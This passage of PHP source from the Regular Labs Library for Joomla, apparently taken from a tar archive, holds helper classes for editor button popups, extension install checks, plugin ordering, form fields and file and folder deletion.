require_once $this->getDir() . '/helper.php';
$class_name = 'PlgButton' . ucfirst($this->_name) .
'Helper';
$this->_helper = new $class_name($this->_name, $params);
return $this->_helper;
}
public function extraChecks($params)
{
return true;
}
private function getDir()
{
// use static::class instead of get_class($this) after php 5.4 support is
dropped
$rc = new ReflectionClass(get_class($this));
return dirname($rc->getFileName());
}
private function getParams()
{
switch ($this->main_type)
{
case 'component':
if ( ! Protect::isComponentInstalled($this->_name))
{
return null;
}
// Load component parameters
return
Parameters::getInstance()->getComponentParams($this->_name);
case 'plugin':
default:
if ( ! Protect::isSystemPluginInstalled($this->_name))
{
return null;
}
// Load plugin parameters
return Parameters::getInstance()->getPluginParams($this->_name);
}
}
private function isInstalled()
{
$extensions = ! is_null($this->check_installed)
? $this->check_installed
: [$this->main_type];
return Extension::areInstalled($this->_name, $extensions);
}
}
src/EditorButtonPopup.php000064400000004046151165347500011525
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Exception;
use Joomla\CMS\Language\Text as JText;
use ReflectionClass;
/**
* Class EditorButtonPopup
* @package RegularLabs\Library
*/
class EditorButtonPopup
{
var $extension = '';
var $params = null;
var $require_core_auth = true;
public function __construct($extension)
{
$this->extension = $extension;
$this->params =
Parameters::getInstance()->getPluginParams($extension);
}
public function render()
{
if ( ! Extension::isAuthorised($this->require_core_auth))
{
throw new Exception(JText::_("ALERTNOTAUTH"));
}
if ( ! Extension::isEnabledInArea($this->params))
{
throw new Exception(JText::_("ALERTNOTAUTH"));
}
$this->loadLibraryLanguages();
$this->loadLibraryScriptsStyles();
$this->loadLanguages();
Document::style('regularlabs/popup.min.css');
$this->loadScripts();
$this->loadStyles();
echo $this->renderTemplate();
}
public function loadLanguages()
{
Language::load('plg_editors-xtd_' . $this->extension);
Language::load('plg_system_' . $this->extension);
}
public function loadScripts()
{
}
public function loadStyles()
{
}
private function loadLibraryLanguages()
{
Language::load('plg_system_regularlabs');
}
private function loadLibraryScriptsStyles()
{
Document::loadPopupDependencies();
}
private function renderTemplate()
{
ob_start();
include $this->getDir() . '/popup.tmpl.php';
$html = ob_get_contents();
ob_end_clean();
return $html;
}
private function getDir()
{
// use static::class instead of get_class($this) after php 5.4 support is
dropped
$rc = new ReflectionClass(get_class($this));
return dirname($rc->getFileName());
}
}
src/Extension.php000064400000033215151165347500010033 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper as JComponentHelper;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Helper\ModuleHelper as JModuleHelper;
use Joomla\CMS\Installer\Installer as JInstaller;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
/**
* Class Extension
* @package RegularLabs\Library
*/
class Extension
{
/**
* Get the full path to the extension folder
*
* @param string $extension
* @param string $basePath
* @param string $check_folder
*
* @return string
*/
public static function getPath($extension =
'plg_system_regularlabs', $basePath = JPATH_ADMINISTRATOR,
$check_folder = '')
{
$basePath = $basePath ?: JPATH_SITE;
if ( ! in_array($basePath, [JPATH_ADMINISTRATOR, JPATH_SITE]))
{
return $basePath;
}
$extension = str_replace('.sys', '', $extension);
switch (true)
{
case (strpos($extension, 'mod_') === 0):
$path = 'modules/' . $extension;
break;
case (strpos($extension, 'plg_') === 0):
list($prefix, $folder, $name) = explode('_', $extension, 3);
$path = 'plugins/' . $folder . '/' . $name;
break;
case (strpos($extension, 'com_') === 0):
default:
$path = 'components/' . $extension;
break;
}
$check_folder = $check_folder ? '/' . $check_folder :
'';
if (is_dir($basePath . '/' . $path . $check_folder))
{
return $basePath . '/' . $path;
}
if (is_dir(JPATH_ADMINISTRATOR . '/' . $path . $check_folder))
{
return JPATH_ADMINISTRATOR . '/' . $path;
}
if (is_dir(JPATH_SITE . '/' . $path . $check_folder))
{
return JPATH_SITE . '/' . $path;
}
return $basePath;
}
/**
* Check if all extension types of a given extension are installed
*
* @param string $extension
* @param array $types
*
* @return bool
*/
public static function areInstalled($extension, $types =
['plugin'])
{
foreach ($types as $type)
{
$folder = 'system';
if (is_array($type))
{
list($type, $folder) = $type;
}
if ( ! self::isInstalled($extension, $type, $folder))
{
return false;
}
}
return true;
}
/**
* Check if the given extension is installed
*
* @param string $extension
* @param string $type
* @param string $folder
*
* @return bool
*/
public static function isInstalled($extension, $type =
'component', $folder = 'system')
{
$extension = strtolower($extension);
switch ($type)
{
case 'component':
if (file_exists(JPATH_ADMINISTRATOR . '/components/com_' .
$extension . '/' . $extension . '.php')
|| file_exists(JPATH_ADMINISTRATOR . '/components/com_' .
$extension . '/admin.' . $extension . '.php')
|| file_exists(JPATH_SITE . '/components/com_' . $extension
. '/' . $extension . '.php')
)
{
if ($extension == 'cookieconfirm' &&
file_exists(JPATH_ADMINISTRATOR .
'/components/com_cookieconfirm/version.php'))
{
// Only Cookie Confirm 2.0.0.rc1 and above is supported, because
// previous versions don't have isCookiesAllowed()
require_once JPATH_ADMINISTRATOR .
'/components/com_cookieconfirm/version.php';
if (version_compare(COOKIECONFIRM_VERSION, '2.2.0.rc1',
'<'))
{
return false;
}
}
return true;
}
break;
case 'plugin':
return file_exists(JPATH_PLUGINS . '/' . $folder .
'/' . $extension . '/' . $extension .
'.php');
case 'module':
return (file_exists(JPATH_ADMINISTRATOR . '/modules/mod_' .
$extension . '/' . $extension . '.php')
|| file_exists(JPATH_ADMINISTRATOR . '/modules/mod_' .
$extension . '/mod_' . $extension . '.php')
|| file_exists(JPATH_SITE . '/modules/mod_' . $extension .
'/' . $extension . '.php')
|| file_exists(JPATH_SITE . '/modules/mod_' . $extension .
'/mod_' . $extension . '.php')
);
case 'library':
return JFolder::exists(JPATH_LIBRARIES . '/' . $extension);
}
return false;
}
/**
* Check if the Regular Labs Library is enabled
*
* @return bool
*/
public static function isEnabled($extension, $type =
'component', $folder = 'system')
{
$extension = strtolower($extension);
if ( ! self::isInstalled($extension, $type, $folder))
{
return false;
}
switch ($type)
{
case 'component':
return JComponentHelper::isEnabled($extension);
case 'plugin':
return JPluginHelper::isEnabled($folder, $extension);
case 'module':
return JModuleHelper::isEnabled($extension);
}
return false;
}
/**
* Check if the Regular Labs Library is enabled
*
* @return bool
*/
public static function isFrameworkEnabled()
{
return JPluginHelper::isEnabled('system',
'regularlabs');
}
/**
* Return an alias and element name based on the given extension name
*
* @param string $name
*
* @return array
*/
public static function getAliasAndElement(&$name)
{
$name = self::getNameByAlias($name);
$alias = self::getAliasByName($name);
$element = self::getElementByAlias($alias);
return [$alias, $element];
}
/**
* Return the name based on the given extension alias
*
* @param string $alias
*
* @return string
*/
public static function getNameByAlias($alias)
{
// Alias is a language string
if (strpos($alias, ' ') === false && strtoupper($alias)
== $alias)
{
return JText::_($alias);
}
// Alias has a space and/or capitals, so is already a name
if (strpos($alias, ' ') !== false || $alias !==
strtolower($alias))
{
return $alias;
}
return JText::_(self::getXMLValue('name', $alias));
}
/**
* Return an alias based on the given extension name
*
* @param string $name
*
* @return string
*/
public static function getAliasByName($name)
{
$alias = RegEx::replace('[^a-z0-9]', '',
strtolower($name));
switch ($alias)
{
case 'advancedmodules':
return 'advancedmodulemanager';
case 'advancedtemplates':
return 'advancedtemplatemanager';
case 'nonumbermanager':
return 'nonumberextensionmanager';
case 'what-nothing':
return 'whatnothing';
}
return $alias;
}
/**
* Return an element name based on the given extension alias
*
* @param string $alias
*
* @return string
*/
public static function getElementByAlias($alias)
{
$alias = self::getAliasByName($alias);
switch ($alias)
{
case 'advancedmodulemanager':
return 'advancedmodules';
case 'advancedtemplatemanager':
return 'advancedtemplates';
case 'nonumberextensionmanager':
return 'nonumbermanager';
}
return $alias;
}
/**
* Return a value from an extensions main xml file based on the given key
*
* @param string $key
* @param string $alias
* @param string $type
* @param string $folder
*
* @return string
*/
public static function getXMLValue($key, $alias, $type = '',
$folder = '')
{
if ( ! $xml = self::getXML($alias, $type, $folder))
{
return '';
}
if ( ! isset($xml[$key]))
{
return '';
}
return isset($xml[$key]) ? $xml[$key] : '';
}
/**
* Return an extensions main xml array
*
* @param string $alias
* @param string $type
* @param string $folder
*
* @return array|bool
*/
public static function getXML($alias, $type = '', $folder =
'')
{
if ( ! $file = self::getXMLFile($alias, $type, $folder))
{
return false;
}
return JInstaller::parseXMLInstallFile($file);
}
/**
* Return an extensions main xml file name (including path)
*
* @param string $alias
* @param string $type
* @param string $folder
*
* @return string
*/
public static function getXMLFile($alias, $type = '', $folder =
'')
{
$element = self::getElementByAlias($alias);
$files = [];
// Components
if (empty($type) || $type == 'component')
{
$files[] = JPATH_ADMINISTRATOR . '/components/com_' . $element
. '/' . $element . '.xml';
$files[] = JPATH_SITE . '/components/com_' . $element .
'/' . $element . '.xml';
$files[] = JPATH_ADMINISTRATOR . '/components/com_' . $element
. '/com_' . $element . '.xml';
$files[] = JPATH_SITE . '/components/com_' . $element .
'/com_' . $element . '.xml';
}
// Plugins
if (empty($type) || $type == 'plugin')
{
if ( ! empty($folder))
{
$files[] = JPATH_PLUGINS . '/' . $folder . '/' .
$element . '/' . $element . '.xml';
}
// System Plugins
$files[] = JPATH_PLUGINS . '/system/' . $element .
'/' . $element . '.xml';
// Editor Button Plugins
$files[] = JPATH_PLUGINS . '/editors-xtd/' . $element .
'/' . $element . '.xml';
// Field Plugins
$field_name = RegEx::replace('field$', '',
$element);
$files[] = JPATH_PLUGINS . '/fields/' . $field_name .
'/' . $field_name . '.xml';
}
// Modules
if (empty($type) || $type == 'module')
{
$files[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $element .
'/' . $element . '.xml';
$files[] = JPATH_SITE . '/modules/mod_' . $element .
'/' . $element . '.xml';
$files[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $element .
'/mod_' . $element . '.xml';
$files[] = JPATH_SITE . '/modules/mod_' . $element .
'/mod_' . $element . '.xml';
}
foreach ($files as $file)
{
if ( ! file_exists($file))
{
continue;
}
return $file;
}
return '';
}
public static function isAuthorised($require_core_auth = true)
{
$user = JFactory::getUser();
if ($user->get('guest'))
{
return false;
}
if ( ! $require_core_auth)
{
return true;
}
if (
! $user->authorise('core.edit', 'com_content')
&& ! $user->authorise('core.edit.own',
'com_content')
&& ! $user->authorise('core.create',
'com_content')
)
{
return false;
}
return true;
}
public static function isEnabledInArea($params)
{
if ( ! isset($params->enable_frontend))
{
return true;
}
// Only allow in frontend
if ($params->enable_frontend == 2 &&
Document::isClient('administrator'))
{
return false;
}
// Do not allow in frontend
if ( ! $params->enable_frontend &&
Document::isClient('site'))
{
return false;
}
return true;
}
public static function isEnabledInComponent($params)
{
if ( ! isset($params->disabled_components))
{
return true;
}
return ! Protect::isRestrictedComponent($params->disabled_components);
}
public static function getById($id)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName(['extension_id',
'manifest_cache']))
->from($db->quoteName('#__extensions'))
->where($db->quoteName('extension_id') . ' = '
. (int) $id);
$db->setQuery($query);
return $db->loadObject();
}
public static function disable($alias, $type = 'plugin', $folder
= 'system')
{
$element = self::getElementByAlias($alias);
switch ($type)
{
case 'module':
$element = 'mod_' . $element;
break;
case 'component':
$element = 'com_' . $element;
break;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->update($db->quoteName('#__extensions'))
->set($db->quoteName('enabled') . ' = 0')
->where($db->quoteName('element') . ' = ' .
$db->quote($element))
->where($db->quoteName('type') . ' = ' .
$db->quote($type));
if ($type == 'plugin')
{
$query->where($db->quoteName('folder') . ' = '
. $db->quote($folder));
}
$db->setQuery($query);
$db->execute();
}
public static function orderPluginFirst($name, $folder =
'system')
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select(['e.ordering'])
->from($db->quoteName('#__extensions', 'e'))
->where('e.type = ' . $db->quote('plugin'))
->where('e.folder = ' . $db->quote($folder))
->where('e.element = ' . $db->quote($name));
$db->setQuery($query);
$current_ordering = $db->loadResult();
if ($current_ordering == '')
{
return;
}
$query = $db->getQuery(true)
->select('e.ordering')
->from($db->quoteName('#__extensions', 'e'))
->where('e.type = ' . $db->quote('plugin'))
->where('e.folder = ' . $db->quote($folder))
->where('e.manifest_cache LIKE ' .
$db->quote('%"author":"Regular Labs%'))
->where('e.element != ' . $db->quote($name))
->order('e.ordering ASC');
$db->setQuery($query);
$min_ordering = $db->loadResult();
if ($min_ordering == '')
{
return;
}
if ($current_ordering < $min_ordering)
{
return;
}
if ($min_ordering < 1 || $current_ordering == $min_ordering)
{
$new_ordering = max($min_ordering, 1);
$query = $db->getQuery(true)
->update($db->quoteName('#__extensions'))
->set($db->quoteName('ordering') . ' = ' .
$new_ordering)
->where($db->quoteName('ordering') . ' = ' .
$min_ordering)
->where($db->quoteName('type') . ' = ' .
$db->quote('plugin'))
->where($db->quoteName('folder') . ' = ' .
$db->quote($folder))
->where($db->quoteName('element') . ' != ' .
$db->quote($name))
->where($db->quoteName('manifest_cache') . ' LIKE
' . $db->quote('%"author":"Regular
Labs%'));
$db->setQuery($query);
$db->execute();
$min_ordering = $new_ordering;
}
if ($current_ordering == $min_ordering)
{
return;
}
$new_ordering = $min_ordering - 1;
$query = $db->getQuery(true)
->update($db->quoteName('#__extensions'))
->set($db->quoteName('ordering') . ' = ' .
$new_ordering)
->where($db->quoteName('type') . ' = ' .
$db->quote('plugin'))
->where($db->quoteName('folder') . ' = ' .
$db->quote($folder))
->where($db->quoteName('element') . ' = ' .
$db->quote($name));
$db->setQuery($query);
$db->execute();
}
}
src/Field.php000064400000020033151165347500007074 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Form\Form as JForm;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
/**
* Class Field
* @package RegularLabs\Library
*/
class Field
extends \JFormField
{
/**
* @var string
*/
public $type = 'Field';
/**
* @var \JDatabaseDriver|null
*/
public $db = null;
/**
* @var int
*/
public $max_list_count = 0;
/**
* @var null
*/
public $params = null;
public $context = 'com_content.article';
/**
* @param JForm $form
*/
public function __construct($form = null)
{
parent::__construct($form);
$this->db = JFactory::getDbo();
$params =
Parameters::getInstance()->getPluginParams('regularlabs');
$this->max_list_count = $params->max_list_count;
Document::loadFormDependencies();
Document::stylesheet('regularlabs/style.min.css');
}
public function setup(\SimpleXMLElement $element, $value, $group = null)
{
$this->params = $element->attributes();
return parent::setup($element, $value, $group);
}
/**
* Return the field input markup
* Return empty by default
*
* @return string
*/
protected function getInput()
{
return '';
}
/**
* Return the field options (array)
* Overrules the Joomla core functionality
*
* @return array
*/
protected function getOptions()
{
// This only returns 1 option!!!
if (empty($this->element->option))
{
return [];
}
$option = $this->element->option;
$fieldname = RegEx::replace('[^a-z0-9_\-]', '_',
$this->fieldname);
$value = (string) $option['value'];
$text = trim((string) $option) ? trim((string) $option) : $value;
return [
[
'value' => $value,
'text' => '- ' . JText::alt($text, $fieldname)
. ' -',
],
];
}
public static function selectList(&$options, $name, $value, $id, $size
= 0, $multiple = false, $simple = false)
{
return Form::selectlist($options, $name, $value, $id, $size, $multiple,
$simple);
}
public static function selectListSimple(&$options, $name, $value, $id,
$size = 0, $multiple = false)
{
return Form::selectListSimple($options, $name, $value, $id, $size,
$multiple);
}
public static function selectListAjax($field, $name, $value, $id,
$attributes = [], $simple = false)
{
return Form::selectListAjax($field, $name, $value, $id, $attributes,
$simple);
}
public static function selectListSimpleAjax($field, $name, $value, $id,
$attributes = [])
{
return Form::selectListSimpleAjax($field, $name, $value, $id,
$attributes);
}
/**
* Get a value from the field params
*
* @param string $key
* @param string $default
*
* @return bool|string
*/
public function get($key, $default = '')
{
$value = $default;
if (isset($this->params[$key]) && (string)
$this->params[$key] != '')
{
$value = (string) $this->params[$key];
}
if ($value === 'true')
{
return true;
}
if ($value === 'false')
{
return false;
}
return $value;
}
/**
* Return a array of options using the custom prepare methods
*
* @param array $list
* @param array $extras
* @param int $levelOffset
*
* @return array
*/
function getOptionsByList($list, $extras = [], $levelOffset = 0)
{
$options = [];
foreach ($list as $id => $item)
{
$options[$id] = $this->getOptionByListItem($item, $extras,
$levelOffset);
}
return $options;
}
/**
* Return a list option using the custom prepare methods
*
* @param object $item
* @param array $extras
* @param int $levelOffset
*
* @return mixed
*/
function getOptionByListItem($item, $extras = [], $levelOffset = 0)
{
$name = trim($item->name);
foreach ($extras as $key => $extra)
{
if (empty($item->{$extra}))
{
continue;
}
if ($extra == 'language' && $item->{$extra} ==
'*')
{
continue;
}
if (in_array($extra, ['id', 'alias']) &&
$item->{$extra} == $item->name)
{
continue;
}
$name .= ' [' . $item->{$extra} . ']';
}
$name = Form::prepareSelectItem($name, isset($item->published) ?
$item->published : 1);
$option = JHtml::_('select.option', $item->id, $name,
'value', 'text', 0);
if (isset($item->level))
{
$option->level = $item->level + $levelOffset;
}
return $option;
}
/**
* Return a recursive options list using the custom prepare methods
*
* @param array $items
* @param int $root
*
* @return array
*/
function getOptionsTreeByList($items = [], $root = 0)
{
// establish the hierarchy of the menu
// TODO: use node model
$children = [];
if ( ! empty($items))
{
// first pass - collect children
foreach ($items as $v)
{
$pt = $v->parent_id;
$list = @$children[$pt] ? $children[$pt] : [];
array_push($list, $v);
$children[$pt] = $list;
}
}
// second pass - get an indent list of the items
$list = JHtml::_('menu.treerecurse', $root, '', [],
$children, 9999, 0, 0);
// assemble items to the array
$options = [];
if ($this->get('show_ignore'))
{
if (in_array('-1', $this->value))
{
$this->value = ['-1'];
}
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_IGNORE') . ' -',
'value', 'text', 0);
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', 1);
}
foreach ($list as $item)
{
$item->treename = Form::prepareSelectItem($item->treename,
isset($item->published) ? $item->published : 1, '', 1);
$options[] = JHtml::_('select.option', $item->id,
$item->treename, 'value', 'text', 0);
}
return $options;
}
/**
* Prepare the option string, handling language strings
*
* @param string $string
*
* @return string
*/
public function prepareText($string = '')
{
$string = trim($string);
if ($string == '')
{
return '';
}
switch (true)
{
// Old fields using var attributes
case (JText::_($this->get('var1'))):
$string = $this->sprintf_old($string);
break;
// Normal language string
default:
$string = JText::_($string);
}
return $this->fixLanguageStringSyntax($string);
}
/**
* Fix some syntax/encoding issues in option text strings
*
* @param string $string
*
* @return string
*/
private function fixLanguageStringSyntax($string = '')
{
$string = str_replace('[:COMMA:]', ',', $string);
$string = trim(StringHelper::html_entity_decoder($string));
$string = str_replace('"', '"',
$string);
$string = str_replace('span
style="font-family:monospace;"', 'span
class="rl_code"', $string);
return $string;
}
/**
* Replace language strings in a string
*
* @param string $string
*
* @return string
*/
private function sprintf($string = '')
{
$string = trim($string);
if (strpos($string, ',') === false)
{
return $string;
}
$string_parts = explode(',', $string);
$first_part = array_shift($string_parts);
if ($first_part === strtoupper($first_part))
{
$first_part = JText::_($first_part);
}
$first_part = RegEx::replace('\[\[%([0-9]+):[^\]]*\]\]',
'%\1$s', $first_part);
array_walk($string_parts, '\RegularLabs\Library\Field::jText');
return vsprintf($first_part, $string_parts);
}
/**
* Passes along to the JText method.
* This is used for the array_walk in the sprintf method above.
*
* @param $string
*/
public function jText(&$string)
{
$string = JText::_($string);
}
/**
* Replace language strings in an old syntax string
*
* @param string $string
*
* @return string
*/
private function sprintf_old($string = '')
{
// variables
$var1 = JText::_($this->get('var1'));
$var2 = JText::_($this->get('var2'));
$var3 = JText::_($this->get('var3'));
$var4 = JText::_($this->get('var4'));
$var5 = JText::_($this->get('var5'));
return JText::sprintf(JText::_(trim($string)), $var1, $var2, $var3,
$var4, $var5);
}
}
src/FieldGroup.php000064400000006176151165347500010125 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
class FieldGroup
extends Field
{
public $type = 'Field';
public $default_group = 'Categories';
protected function getInput()
{
$this->params = $this->element->attributes();
return $this->getSelectList();
}
public function getGroup()
{
$this->params = $this->element->attributes();
return $this->get('group', $this->default_group ?:
$this->type);
}
public function getOptions($group = false)
{
$group = $group ?: $this->getGroup();
$id = $this->type . '_' . $group;
if ( ! isset($data[$id]))
{
$data[$id] = $this->{'get' . $group}();
}
return $data[$id];
}
public function getSelectList($group = '')
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$show_ignore = $this->get('show_ignore');
$group = $group ?: $this->getGroup();
$simple = $this->get('simple', ! in_array($group,
['categories']));
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('group', 'size', 'multiple',
'simple', 'show_ignore'),
$simple
);
}
function getAjaxRaw(Registry $attributes)
{
$this->params = $attributes;
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$simple = $attributes->get('simple');
$options = $this->getOptions(
$attributes->get('group')
);
return $this->selectList($options, $name, $value, $id, $size,
$multiple, $simple);
}
public function missingFilesOrTables($tables = ['categories',
'items'], $component = '', $table_prefix =
'')
{
$component = $component ?: $this->type;
if ( ! Extension::isInstalled($component))
{
return '<fieldset class="alert alert-danger">'
. JText::_('ERROR') . ': ' .
JText::sprintf('RL_FILES_NOT_FOUND', JText::_('RL_' .
strtoupper($component))) . '</fieldset>';
}
$group = $this->getGroup();
if ( ! in_array($group, $tables) && ! in_array($group,
array_keys($tables)))
{
// no need to check database table for this group
return false;
}
$table_list = $this->db->getTableList();
$table = isset($tables[$group]) ? $tables[$group] : $group;
$table = $this->db->getPrefix() . strtolower($table_prefix ?:
$component) . '_' . $table;
if (in_array($table, $table_list))
{
// database table exists, so no error
return false;
}
return '<fieldset class="alert alert-danger">'
. JText::_('ERROR') . ': ' .
JText::sprintf('RL_TABLE_NOT_FOUND', JText::_('RL_' .
strtoupper($component))) . '</fieldset>';
}
}
src/File.php000064400000027333151165347500006742 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Client\ClientHelper as JClientHelper;
use Joomla\CMS\Client\FtpClient as JFtpClient;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Filesystem\Path as JPath;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Log\Log as JLog;
use Joomla\CMS\Uri\Uri as JUri;
/**
* Class File
* @package RegularLabs\Library
*/
class File
{
/**
* Find a matching media file in the different possible extension media
folders for given type
*
* @param string $type (css/js/...)
* @param string $file
*
* @return bool|string
*/
public static function getMediaFile($type, $file)
{
// If http is present in filename
if (strpos($file, 'http') === 0 || strpos($file,
'//') === 0)
{
return $file;
}
$files = [];
// Detect debug mode
if (JFactory::getConfig()->get('debug') ||
JFactory::getApplication()->input->get('debug'))
{
$files[] = str_replace(['.min.', '-min.'],
'.', $file);
}
$files[] = $file;
/*
* Loop on 1 or 2 files and break on first find.
* Add the content of the MD5SUM file located in the same folder to url
to ensure cache browser refresh
* This MD5SUM file must represent the signature of the folder content
*/
foreach ($files as $check_file)
{
$file_found = self::findMediaFileByFile($check_file, $type);
if ( ! $file_found)
{
continue;
}
return $file_found;
}
return false;
}
/**
* Find a matching media file in the different possible extension media
folders for given type
*
* @param string $file
* @param string $type (css/js/...)
*
* @return bool|string
*/
private static function findMediaFileByFile($file, $type)
{
$template = JFactory::getApplication()->getTemplate();
// If the file is in the template folder
$file_found = self::getFileUrl('/templates/' . $template .
'/' . $type . '/' . $file);
if ($file_found)
{
return $file_found;
}
// Try to deal with system files in the media folder
if (strpos($file, '/') === false)
{
$file_found = self::getFileUrl('/media/system/' . $type .
'/' . $file);
if ( ! $file_found)
{
return false;
}
return $file_found;
}
$paths = [];
// If the file contains any /: it can be in a media extension subfolder
// Divide the file extracting the extension as the first part before /
list($extension, $file) = explode('/', $file, 2);
$paths[] = '/media/' . $extension . '/' . $type;
$paths[] = '/templates/' . $template . '/' . $type .
'/system';
$paths[] = '/media/system/' . $type;
foreach ($paths as $path)
{
$file_found = self::getFileUrl($path . '/' . $file);
if ( ! $file_found)
{
continue;
}
return $file_found;
}
return false;
}
/**
* Get the url for the file
*
* @param string $path
*
* @return bool|string
*/
private static function getFileUrl($path)
{
if ( ! file_exists(JPATH_ROOT . $path))
{
return false;
}
return JUri::root(true) . $path;
}
/**
* Delete a file or array of files
*
* @param mixed $file The file name or an array of file
names
* @param boolean $show_messages Whether or not to show error
messages
* @param int $min_age_in_minutes Minimum last modified age in minutes
*
* @return boolean True on success
*
* @since 11.1
*/
public static function delete($file, $show_messages = false,
$min_age_in_minutes = 0)
{
$FTPOptions = JClientHelper::getCredentials('ftp');
$pathObject = new JPath;
$files = is_array($file) ? $file : [$file];
if ($FTPOptions['enabled'] == 1)
{
// Connect the FTP client
$ftp = JFtpClient::getInstance($FTPOptions['host'],
$FTPOptions['port'], [], $FTPOptions['user'],
$FTPOptions['pass']);
}
foreach ($files as $file)
{
$file = $pathObject->clean($file);
if ( ! is_file($file))
{
continue;
}
if ($min_age_in_minutes && floor((time() - filemtime($file)) /
60) < $min_age_in_minutes)
{
continue;
}
// Try making the file writable first. If it's read-only, it
can't be deleted
// on Windows, even if the parent folder is writable
@chmod($file, 0777);
if ($FTPOptions['enabled'] == 1)
{
$file = $pathObject->clean(str_replace(JPATH_ROOT,
$FTPOptions['root'], $file), '/');
if ( ! $ftp->delete($file))
{
// FTP connector throws an error
return false;
}
}
// Try the unlink twice in case something was blocking it on first try
if ( ! @unlink($file) && ! @unlink($file))
{
$show_messages &&
JLog::add(JText::sprintf('JLIB_FILESYSTEM_DELETE_FAILED',
basename($file)), JLog::WARNING, 'jerror');
return false;
}
}
return true;
}
/**
* Delete a folder.
*
* @param string $path The path to the folder to delete.
* @param boolean $show_messages Whether or not to show error
messages
* @param int $min_age_in_minutes Minimum last modified age in minutes
*
* @return boolean True on success.
*/
public static function deleteFolder($path, $show_messages = false,
$min_age_in_minutes = 0)
{
@set_time_limit(ini_get('max_execution_time'));
$pathObject = new JPath;
if ( ! $path)
{
$show_messages && JLog::add(__METHOD__ . ': ' .
JText::_('JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY'),
JLog::WARNING, 'jerror');
return false;
}
// Check to make sure the path valid and clean
$path = $pathObject->clean($path);
if ( ! is_dir($path))
{
$show_messages &&
JLog::add(JText::sprintf('JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER',
$path), JLog::WARNING, 'jerror');
return false;
}
// Remove all the files in folder if they exist; disable all filtering
$files = JFolder::files($path, '.', false, true, [], []);
if ( ! empty($files))
{
if (self::delete($files, $show_messages, $min_age_in_minutes) !== true)
{
// JFile::delete throws an error
return false;
}
}
// Remove sub-folders of folder; disable all filtering
$folders = JFolder::folders($path, '.', false, true, [], []);
foreach ($folders as $folder)
{
if (is_link($folder))
{
// Don't descend into linked directories, just delete the link.
if (self::delete($folder, $show_messages, $min_age_in_minutes) !==
true)
{
return false;
}
continue;
}
if ( ! self::deleteFolder($folder, $show_messages, $min_age_in_minutes))
{
return false;
}
}
// Skip if folder is not empty yet
if ( ! empty(JFolder::files($path, '.', false, true, [], []))
|| ! empty(JFolder::folders($path, '.', false, true, [], [])))
{
return true;
}
if (@rmdir($path))
{
return true;
}
$FTPOptions = JClientHelper::getCredentials('ftp');
if ($FTPOptions['enabled'] == 1)
{
// Connect the FTP client
$ftp = JFtpClient::getInstance($FTPOptions['host'],
$FTPOptions['port'], [], $FTPOptions['user'],
$FTPOptions['pass']);
// Translate path and delete
$path = $pathObject->clean(str_replace(JPATH_ROOT,
$FTPOptions['root'], $path), '/');
// FTP connector throws an error
return $ftp->delete($path);
}
if ( ! @rmdir($path))
{
$show_messages &&
JLog::add(JText::sprintf('JLIB_FILESYSTEM_ERROR_FOLDER_DELETE',
$path), JLog::WARNING, 'jerror');
return false;
}
return true;
}
public static function trimFolder($folder)
{
return trim(str_replace(['\\', '//'], '/',
$folder), '/');
}
public static function isInternal($url)
{
return ! self::isExternal($url);
}
public static function isExternal($url)
{
if (strpos($url, '://') === false)
{
return false;
}
// hostname: give preference to SERVER_NAME, because this includes
subdomains
$hostname = ($_SERVER['SERVER_NAME']) ?
$_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'];
